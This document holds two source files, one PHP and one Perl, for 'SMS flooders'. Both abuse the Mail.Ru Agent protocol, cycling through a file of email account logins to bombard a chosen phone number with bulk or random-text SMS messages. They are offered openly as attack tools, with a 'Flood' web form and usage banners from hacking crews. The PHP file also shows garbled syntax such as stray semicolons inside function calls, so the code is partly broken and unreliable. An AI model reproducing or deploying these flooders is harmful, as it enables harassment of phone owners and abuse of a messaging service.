<?php
###########################################
## SMS flooder (using MMP) ##
## ©oded by Ackrite ##
## icq: 471-200-089 ##
###########################################
## respect ppl who i respect (they know) ##
###########################################
## It`s sms-flooder which uses Mail.Ru ##
## Agent protocol. Needs valid e-mail ##
## account for work. ##
###########################################
## Это sms-флудер, который использует ##
## протокол Mail.Ru агента. Для работы ##
## необходимы рабочие e-mail аккаунты. ##
###########################################

# CONFIGURATION
$file = "accs.txt"; # file where store accounts # файл, где хранятся аккаунты
$tmp_file = "accs.tmp"; # file where stores account index # файл для хранения инадекса аккаунта
$default_amount = 10; # default amount of sending sms # кол-во отправляемых смс по умолчанию
$log_file = "log.txt"; # log file where writes sending sms, comment if don`t need # лог-файл, куда записываются отправляемые sms, закомментируйте, если не нужно
# CONFIGURATION end

set_time_limit (0;)

echo '<form action="'.@$_SERVER["PHP_SELF"].'" method="post">
<table border=0 cellpadding=1 cellspacing=1 style="backgorund-color: black; border: 1px solid black; width: 300px;">
<tr>
<td style="background-color: silver; border: 1px solid black;" align="center">Номер:</td>
</tr>
<tr>
<td style="background-color: #999999; border: 1px solid black;"><input style="width: 292px; border: 0px solid black; background-color: #999999; color: black; text-align: center;" type="text" name="number" value="+7" /></td>
</tr>
<tr>
<td style="background-color: silver; border: 1px solid black;" align="center">Кол-во:</td>
</tr>
<tr>
<td style="background-color: #999999; border: 1px solid black;"><input style="width: 292px; border: 0px solid black; background-color: #999999; color: black; text-align: center;" type="text" name="amount" value="'.$default_amount.'" /></td>
</tr>
<tr>
<td style="background-color: silver; border: 1px solid black;" align="center">Текст:</td>
</tr>
<tr>
<td style="background-color: #999999; border: 1px solid black;" align="center"><input style="width: 292px; border: 0px solid black; background-color: #999999; color: black; text-align: center;" type="text" name="text" value="" style="width: 200px;" maxlength=140 /></td>
</tr>
<tr>
<td style="background-color: silver; border: 1px solid black;" align="center"><small>оставьте поле пустым, чтобы сгенерировать случайный текст</small></td>
</tr>
<tr>
<td style="background-color: #999999; border: 1px solid black;" align="center"><input style="width: 292px; border: 0px solid black; background-color: #999999; color: black; text-align: center;" type="submit" name="submit" value="Flood" /></td>
</tr>
</form>
';

if (!isset ($_POST["submit"]) || !isset ($_POST["number"]) || !ereg ("^\+7[0-9]{10}$", $_POST["number"]) || !isset ($_POST["amount"]) || !ereg ("^[0-9]+$", $_POST["amount"])) exit;
if (isset ($log_file) && is_writable ($log_file)) fwrite (fopen ("log.txt", "a"), $_POST["number"].":".$_POST["amount"].":".trim ($_POST["text"])."\r\n")

$tmp = file ($file)
foreach ($tmp as $cur) $accs[] = explode (":", trim ($cur))
$sent = $j = 0;
$i = trim (@file_get_contents ($tmp_file))
if (!strlen ($i)) $i = 0;
while ($sent < $_POST["amount"]) {
$cur = $i % count ($accs)
$login = $accs[$cur][0];
$pass = $accs[$cur][1];
$text = (trim ($_POST["text"]) == "")?gentext ():$_POST["text"];
$ret = sendsms ($login, $pass, $_POST["number"], $text)
if ($ret === -1) die ("Сервис Mail.RU Agent в дауне. Попробуйте позже.")
if ($ret == true) $sent ++;
if ($j - 50 > $sent) break;
$i ++;
$j ++;
$cur = $i % count ($accs)
fwrite (fopen ($tmp_file, "w"), $cur)
}

echo "Отправлено ".$sent." смсок.";

function sendsms ($login, $pass, $number, $text) {
$client = "Ackrite mmp client v1.0";
$fp = @fsockopen ("mrim.mail.ru", 2042)
$tmp = fread ($fp, 1024)
fclose ($fp)
list ($server, $port) = @explode (":", trim ($tmp))
if (strlen ($server) < 8) return -1;
$fp = @fsockopen ($server, $port, $errno, $errstr, 10)
if (!$fp) return -1;
$packet = "\xEF\xBE\xAD\xDE"."\x0A\x00\x01\x00"."\x02\x00\x00\x00"."\x01\x10\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x 00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00";
fwrite ($fp, $packet)
$packet = fread ($fp, 44)
$tmp = unpack ("l11", $packet)
$packet = fread ($fp, $tmp[5])
$tmp = unpack ("l", $packet)
$ping = $tmp[1];
$tmp = pack ("l", strlen ($login)).$login.pack ("l", strlen ($pass)).$pass."\x01\x00\x00\x00".pack ("l", strlen ($client)).$client;
$packet = "\xEF\xBE\xAD\xDE"."\x0A\x00\x01\x00"."\x03\x00\x00\x00"."\x38\x10\x00\x00".pack ("l", strlen ($tmp))."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00".$tmp;
fwrite ($fp, $packet)
$packet = fread ($fp, 44)
$tmp = unpack ("l11", $packet)
if ($tmp[4] != hexdec (1004;)) return false;
$tmp = "\x00\x00\x00\x00".pack ("l", strlen ($number)).$number.pack ("l", strlen ($text)).$text;
$packet = "\xEF\xBE\xAD\xDE"."\x0A\x00\x01\x00"."\x05\x00\x00\x00"."\x39\x10\x00\x00".pack ("l", strlen ($tmp))."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00"."\x00\x00\x00\x00".$tmp;
fwrite ($fp, $packet)
while (true) {
$packet = fread ($fp, 44)
if (strlen ($packet) != 44) break;
$tmp = unpack ("l11", $packet)
if ($tmp[5] > 0) $packet = fread ($fp, $tmp[5])
if ($tmp[4] == hexdec (1040;)) {
$tmp = unpack ("l", $packet)
if ($tmp[1] == 1) { fclose ($fp) return true; }
else { fclose ($fp) return false; }
}
}
fclose ($fp)
return false;
}

function gentext () {
$chars = array (0;, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f", "g", "h", "j", "i", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "v", "u", "y", "w", "x", "z", "A", "B", "C", "D", "E", "F", "G", "H", "J", "I", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "V", "U", "Y", "W", "X", "Z")
for ($i = 0; $i < 140; $i ++) @$text .= $chars[rand (0;, count ($chars)-1)];
return $text;
}
?>

Perl
CODE

#!/usr/bin/perl -w

use IO::Socket;

if (!$ARGV[0]) {usage()} else {

my $number=shift;
my $kvo=shift || '1'; # количество смс по умолчанию
my $textfile='smstexts.txt'; # файл с вариантами текстов sms'ок
my $accsfile='accounts.txt'; # файл с акками (в виде мейл;пасс)
my ($a1, $a2)=(6;, 12) # диапозон интервалов между отправлением

open my $texts, "<", $textfile or die "Can\'t open $textfile\n";
while(<$texts>){chomp; push @txt, $_;}
close $texts;

open my $accs, "<", $accsfile or die "Can\'t open $accsfile\n";
while (<$accs>){chomp; push @acc, $_;}
close $accs;

my $i=0; for (1;..$kvo) {
my ($login, $pass)=split /;/, $acc[$i];
send_sms ($number, $txt[rand($#txt)], $login, $pass)
$i++; $i=0 if ($i==$#acc+1)
sleep $a1+(rand($a2-$a1))}}

sub usage {

print "\n [0] SMSFlooder v.0.1\n".
" [x] by Digimortal\n".
" [4]\n".
" [8] usage: perl $0 <number> [how_many_sms]\n".
" [k] example: perl $0 79031234567 100\n".
"\n".
" [Hell Knights Crew] [ ~ ] [the DarkSide ResearcherZ..]\n".
"\n".
" ..Just4Fun ;)\n";}

sub get_host_port {

my $sock = new IO::Socket::INET (
PeerAddr => 'mrim.mail.ru',
PeerPort => 2042,
PeerProto => 'tcp', TimeOut => 20)
sysread ($sock, my $answ, 20)
return split /:/, $answ;}

sub send_sms {

my ($number, $text, $login, $pass)=@_;
my ($host, $port)=get_host_port()

my $sms= "\xEF\xBE\xAD\xDE\x09\x00\x01\x00".
"\x0B\x00\x00\x00\x39\x10\x00\x00";
$sms.=chr (length($number)+length($text)+12) . "\x00" x 31;
$sms.=chr (length($number)) . "\x00" x 3 . $number;
$sms.=chr (length($text)) . "\x00" x 3 . $text;

my $sock = new IO::Socket::INET (
PeerAddr => $host, PeerPort => $port,
PeerProto => 'tcp', TimeOut => 20)

print $sock "\xEF\xBE\xAD\xDE\x09\x00\x01\x00".
"\x02\x00\x00\x00\x01\x10" . "\x00" x 30;
sysread ($sock, my $answer, 5)

my $req="\xEF\xBE\xAD\xDE\x07\x00\x01\x00".
"\x06\x00\x00\x00\x03\x10\x00\x00";
$req.=chr (length($login)+length($pass)+61) ."\x00" x 27;
$req.=chr (length($login)) . "\x00" x 3 . $login;
$req.=chr (length($pass)) . "\x00" x 3 . $pass;
$req.="\x01\x00\x00\x00\x15\x00\x00\x00\x4D\x52\x41".
"\x20\x34\x2E\x35\x20\x28\x62\x75\x69\x6C\x64".
"\x20\x31\x33\x39\x39\x29\x3B\x77\x05\x00\x00".
"\xFF\xFF\xFF\xFF\x1A\x00\x00\x00\x4A\x98\xE5".
"\x44\x01\x00\x00\x00\x01\x00\x00\x00";

print $sock $req; sysread ($sock, my $answer2, 100)
print $sock $sms; sysread ($sock, my $answer3, 100)}

# eof..